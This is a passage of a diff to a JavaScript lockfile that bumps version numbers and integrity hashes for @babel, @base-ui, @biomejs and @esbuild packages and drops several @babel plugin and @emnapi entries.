["@babel/core@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/helper-compilation-targets": "^7.29.7", "@babel/helper-module-transforms": "^7.29.7", "@babel/helpers": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/template": "^7.29.7", "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA=="], - "@babel/generator": ["@babel/generator@7.29.7", "", { "dependencies": { "@babel/parser": "^7.29.7", "@babel/types": "^7.29.7", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ=="], - - "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-OoK6239jHPuSQOoS0kfTVKn0b/rVTk0seKq4Gd2UMLtmOVLjDC0ki3e+c90Trqv2gMfvJFqkiljrr568+qddiw=="], + "@babel/generator": ["@babel/generator@7.29.8", "", { "dependencies": { "@babel/parser": "^7.29.8", "@babel/types": "^7.29.8", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg=="], "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.29.7", "", { "dependencies": { "@babel/compat-data": "^7.29.7", "@babel/helper-validator-option": "^7.29.7", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g=="], - "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/helper-replace-supers": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/traverse": "^7.29.7", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IY3ZD9Tmooqr3TUhc3DUWxiuo8xx1DWLhd5M7hQ+ZWJamqM2BbalrBJb2MisSLoYorOj75U03qULCxQTY9r3hg=="], - "@babel/helper-globals": ["@babel/helper-globals@7.29.7", "", {}, "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA=="], - "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-j+7JYmk1JYDtACIGj0QJqqWZjoUpMoEikQGADMaHgCMCSDqd2+P32rfcibUNrGOMWrlzK1WJBdxrB3JJQZwWtg=="], - "@babel/helper-module-imports": ["@babel/helper-module-imports@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g=="], "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.29.7", "", { "dependencies": { "@babel/helper-module-imports": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg=="], - "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-+kmGVjcT9RGYzoDwdwEqEvGgKe3BYq+O1iGzjFubaNgZHwYHP6lsF2Yghf4kEuv9BV7tYDZ913aBW9am6YKong=="], - - "@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.29.7", "", {}, "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw=="], - - "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.29.7", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-atfGXWSeCiF4DnKZIfmJfQRkSw9b9gNNXR1kqKjbhG4pGYCOnkp8OcTB8E3NXjBu8NpheSnOeNKz8KT7UNFTmQ=="], - - "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-brcMGQaVzIeUb+6/bs1Av0f8YuNNjKY2JyvfRCsFuFsdKccEQ5Ges2y74D74NZ1Rz8lKJ9ksJkfqwQFJ/iNEyQ=="], - "@babel/helper-string-parser": ["@babel/helper-string-parser@7.29.7", "", {}, "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw=="], "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.29.7", "", {}, "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg=="], @@ -97,105 +80,91 @@ "@babel/helpers": ["@babel/helpers@7.29.7", "", { "dependencies": { "@babel/template": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg=="], - "@babel/parser": ["@babel/parser@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" }, "bin": "./bin/babel-parser.js" }, "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg=="], - - "@babel/plugin-syntax-jsx": ["@babel/plugin-syntax-jsx@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A=="], + "@babel/parser": ["@babel/parser@7.29.8", "", { "dependencies": { "@babel/types": "^7.29.8" }, "bin": "./bin/babel-parser.js" }, "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA=="], - "@babel/plugin-syntax-typescript": ["@babel/plugin-syntax-typescript@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA=="], - - "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.29.7", "", { "dependencies": { "@babel/helper-module-transforms": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-j0vCldybPC5b5dwCQOJ21uKtHzt7hxLygJTg9eF1ScfaikEDNfzn94XoW5Fi+seBR0nCyL23xaBFFkq7dTM8XQ=="], - - "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-create-class-features-plugin": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/plugin-syntax-typescript": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jK52h8LaLc7JarhQV2ofeFMts4H7vnOXnqZNA6fYglBTZewRBE51KWt3BUltW1P+KoPsYkHoJeXePuz4zo2LMw=="], - - "@babel/preset-typescript": ["@babel/preset-typescript@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7", "@babel/helper-validator-option": "^7.29.7", "@babel/plugin-syntax-jsx": "^7.29.7", "@babel/plugin-transform-modules-commonjs": "^7.29.7", "@babel/plugin-transform-typescript": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-/Foi8vKY2EVbed/1eZx0gJEEwHAIxogrySI7rULcRIvhZzbvoE/b5qG5Ghc0WKAFKOHA9SD1x7RsFlOYdutIiQ=="], - - "@babel/runtime": ["@babel/runtime@7.29.2", "", {}, "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g=="], + "@babel/runtime": ["@babel/runtime@7.29.7", "", {}, "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw=="], "@babel/template": ["@babel/template@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg=="], - "@babel/traverse": ["@babel/traverse@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/helper-globals": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/template": "^7.29.7", "@babel/types": "^7.29.7", "debug": "^4.3.1" } }, "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw=="], + "@babel/traverse": ["@babel/traverse@7.29.8", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.8", "@babel/helper-globals": "^7.29.7", "@babel/parser": "^7.29.8", "@babel/template": "^7.29.7", "@babel/types": "^7.29.8", "debug": "^4.3.1" } }, "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg=="], - "@babel/types": ["@babel/types@7.29.7", "", { "dependencies": { "@babel/helper-string-parser": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7" } }, "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA=="], + "@babel/types": ["@babel/types@7.29.8", "", { "dependencies": { "@babel/helper-string-parser": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7" } }, "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg=="], - "@base-ui/react": ["@base-ui/react@1.6.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.3.1", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-/jzjTWJYXhRFO45Bev9lc3cHbmjzCMpUqbMZ2AgKy/z25mY9B6shGSNcXcjQar9n5doM0KYW1W8fcFv2jZBuMw=="], + "@base-ui/react": ["@base-ui/react@1.7.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.3.2", "@floating-ui/react-dom": "^2.1.9", "@floating-ui/utils": "^0.2.12", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-j+8QjX44C32jrXD/qyEAGpFr70FRpGL2CY61mQd9nBPWN737CK0xxD1ceJ055rW4RtdvFDT1e7otzdlfxvsYug=="], - "@base-ui/utils": ["@base-ui/utils@0.3.1", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.2.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-gFFiltORVmW/N6IILTGxizP3PBpVpysqML1ALY5Vk0mH+7faVkCknOU31goYHN5Aoek2dkjxva1XOD2Ce9WuIg=="], + "@base-ui/utils": ["@base-ui/utils@0.3.2", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.12", "reselect": "^5.2.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-oWy1aq/I2GmYjpl4PhEAhzflF8VPGKgZeq0xAWTbfD5KBWyxcN0ZP2+WHSUm/5Z6lVMBDLReLcoXwSYoRc/zNQ=="], - "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="], + "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.5.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6SGZxoKbXvUjMn1t6A98HqWISPnGNbYs0R/Rt2JarmXBSev+lva4QxUMWEBX9lX1Wo1XTJ78uk5xVDtG58SRZg=="], "@bkrem/react-transition-group": ["@bkrem/react-transition-group@1.3.5", "", { "dependencies": { "chain-function": "^1.0.0", "dom-helpers": "^3.3.1", "loose-envify": "^1.3.1", "prop-types": "^15.5.6", "react-lifecycles-compat": "^3.0.4", "warning": "^3.0.0" }, "peerDependencies": { "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-lbBYhC42sxAeFEopxzd9oWdkkV0zirO5E9WyeOBxOrpXsf7m30Aj8vnbayZxFOwD9pvUQ2Pheb1gO79s0Qap3Q=="], - "@emnapi/core": ["@emnapi/core@1.11.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" } }, "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ=="], + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ=="], - "@emnapi/runtime": ["@emnapi/runtime@1.11.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw=="], + "@esbuild/android-arm": ["@esbuild/android-arm@0.28.2", "", { "os": "android", "cpu": "arm" }, "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg=="], - "@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.2", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA=="], + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.2", "", { "os": "android", "cpu": "arm64" }, "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A=="], - "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.0", "", { "os": "aix", "cpu": "ppc64" }, "sha512-lhRUCeuOyJQURhTxl4WkpFTjIsbDayJHih5kZC1giwE+MhIzAb7mEsQMqMf18rHLsrb5qI1tafG20mLxEWcWlA=="], + "@esbuild/android-x64": ["@esbuild/android-x64@0.28.2", "", { "os": "android", "cpu": "x64" }, "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q=="], - "@esbuild/android-arm": ["@esbuild/android-arm@0.28.0", "", { "os": "android", "cpu": "arm" }, "sha512-wqh0ByljabXLKHeWXYLqoJ5jKC4XBaw6Hk08OfMrCRd2nP2ZQ5eleDZC41XHyCNgktBGYMbqnrJKq/K/lzPMSQ=="], + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw=="], - "@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.0", "", { "os": "android", "cpu": "arm64" }, "sha512-+WzIXQOSaGs33tLEgYPYe/yQHf0WTU0X42Jca3y8NWMbUVhp7rUnw+vAsRC/QiDrdD31IszMrZy+qwPOPjd+rw=="], + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw=="], - "@esbuild/android-x64": ["@esbuild/android-x64@0.28.0", "", { "os": "android", "cpu": "x64" }, "sha512-+VJggoaKhk2VNNqVL7f6S189UzShHC/mR9EE8rDdSkdpN0KflSwWY/gWjDrNxxisg8Fp1ZCD9jLMo4m0OUfeUA=="], + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw=="], - "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-0T+A9WZm+bZ84nZBtk1ckYsOvyA3x7e2Acj1KdVfV4/2tdG4fzUp91YHx+GArWLtwqp77pBXVCPn2We7Letr0Q=="], + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg=="], - "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-fyzLm/DLDl/84OCfp2f/XQ4flmORsjU7VKt8HLjvIXChJoFFOIL6pLJPH4Yhd1n1gGFF9mPwtlN5Wf82DZs+LQ=="], + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.2", "", { "os": "linux", "cpu": "arm" }, "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w=="], - "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-l9GeW5UZBT9k9brBYI+0WDffcRxgHQD8ShN2Ur4xWq/NFzUKm3k5lsH4PdaRgb2w7mI9u61nr2gI2mLI27Nh3Q=="], + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug=="], - "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-BXoQai/A0wPO6Es3yFJ7APCiKGc1tdAEOgeTNy3SsB491S3aHn4S4r3e976eUnPdU+NbdtmBuLncYir2tMU9Nw=="], + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.2", "", { "os": "linux", "cpu": "ia32" }, "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ=="], - "@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CjaaREJagqJp7iTaNQjjidaNbCKYcd4IDkzbwwxtSvjI7NZm79qiHc8HqciMddQ6CKvJT6aBd8lO9kN/ZudLlw=="], + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ=="], - "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-RVyzfb3FWsGA55n6WY0MEIEPURL1FcbhFE6BffZEMEekfCzCIMtB5yyDcFnVbTnwk+CLAgTujmV/Lgvih56W+A=="], + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA=="], - "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.0", "", { "os": "linux", "cpu": "ia32" }, "sha512-KBnSTt1kxl9x70q+ydterVdl+Cn0H18ngRMRCEQfrbqdUuntQQ0LoMZv47uB97NljZFzY6HcfqEZ2SAyIUTQBQ=="], + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ=="], - "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-zpSlUce1mnxzgBADvxKXX5sl8aYQHo2ezvMNI8I0lbblJtp8V4odlm3Yzlj7gPyt3T8ReksE6bK+pT3WD+aJRg=="], + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA=="], - "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-2jIfP6mmjkdmeTlsX/9vmdmhBmKADrWqN7zcdtHIeNSCH1SqIoNI63cYsjQR8J+wGa4Y5izRcSHSm8K3QWmk3w=="], + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg=="], - "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-bc0FE9wWeC0WBm49IQMPSPILRocGTQt3j5KPCA8os6VprfuJ7KD+5PzESSrJ6GmPIPJK965ZJHTUlSA6GNYEhg=="], + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.2", "", { "os": "linux", "cpu": "x64" }, "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ=="], - "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-SQPZOwoTTT/HXFXQJG/vBX8sOFagGqvZyXcgLA3NhIqcBv1BJU1d46c0rGcrij2B56Z2rNiSLaZOYW5cUk7yLQ=="], + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw=="], - "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-SCfR0HN8CEEjnYnySJTd2cw0k9OHB/YFzt5zgJEwa+wL/T/raGWYMBqwDNAC6dqFKmJYZoQBRfHjgwLHGSrn3Q=="], + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.2", "", { "os": "none", "cpu": "x64" }, "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw=="], - "@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.0", "", { "os": "linux", "cpu": "x64" }, "sha512-us0dSb9iFxIi8srnpl931Nvs65it/Jd2a2K3qs7fz2WfGPHqzfzZTfec7oxZJRNPXPnNYZtanmRc4AL/JwVzHQ=="], + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ=="], - "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.0", "", { "os": "none", "cpu": "arm64" }, "sha512-CR/RYotgtCKwtftMwJlUU7xCVNg3lMYZ0RzTmAHSfLCXw3NtZtNpswLEj/Kkf6kEL3Gw+BpOekRX0BYCtklhUw=="], + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw=="], - "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.0", "", { "os": "none", "cpu": "x64" }, "sha512-nU1yhmYutL+fQ71Kxnhg8uEOdC0pwEW9entHykTgEbna2pw2dkbFSMeqjjyHZoCmt8SBkOSvV+yNmm94aUrrqw=="], + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q=="], - "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.0", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-cXb5vApOsRsxsEl4mcZ1XY3D4DzcoMxR/nnc4IyqYs0rTI8ZKmW6kyyg+11Z8yvgMfAEldKzP7AdP64HnSC/6g=="], + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g=="], - "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.0", "", { "os": "openbsd", "cpu": "x64" }, 